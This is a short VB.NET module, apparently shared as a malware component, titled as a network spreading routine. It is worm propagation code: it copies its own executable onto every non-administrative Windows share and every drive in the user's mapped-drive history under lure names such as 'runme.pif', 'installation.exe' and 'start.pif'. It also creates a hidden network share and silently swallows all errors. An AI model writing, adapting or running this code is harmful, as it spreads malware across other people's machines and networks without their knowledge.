.NET [VB.NET] network {local} spread

Code
Module spread



    Public Sub Share()



      



        Try

            Dim shares As New ManagementObjectSearcher("select * from win32_share")

            For Each serv As ManagementObject In shares.[Get]()

                Dim shareName As String = Convert.ToString(serv("Name"))

                If Not shareName.Contains("$") Then

                    File.Copy(Application.ExecutablePath, "\\" + Environment.MachineName & "\" & shareName & "\runme.pif", True)

                End If

            Next

        Catch ex As Exception

        End Try



  



        Try

            Dim key As String = "Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive MRU\"

            Dim reg As RegistryKey = Registry.CurrentUser.OpenSubKey(key)





            For Each valuename As String In reg.GetValueNames()

                Dim path As String = reg.GetValue(valuename).ToString()

                If valuename.ToLower() <> "mrulist" Then

                    Try

                        File.Copy(Application.ExecutablePath, path & "\\installation.exe", True)

                        File.Copy(Application.ExecutablePath, path & "\\start.pif", True)

                    Catch er As Exception



                    End Try

                End If

            Next

            reg.Close()

        Catch er As Exception

        End Try

    End Sub



    Public Sub CreateShare(ByVal dir As String, ByVal name As String)



     

        Try

            Directory.CreateDirectory(dir)

            Dim managementClass As New ManagementClass("Win32_Share")

            Dim inParams As ManagementBaseObject = managementClass.GetMethodParameters("Create")

            Dim outParams As ManagementBaseObject

            inParams("Description") = name

            inParams("Name") = name

            inParams("Path") = dir

            inParams("Type") = &H0

            outParams = managementClass.InvokeMethod("Create", inParams, Nothing)



     

      

            If CUInt(outParams.Properties("ReturnValue").Value) = 0 Then



                If Directory.Exists(dir) Then

                    Dim d As New DirectoryInfo(dir)

                    d.Attributes = FileAttributes.Hidden

                End If



            End If

        Catch e As Exception

        End Try

    End Sub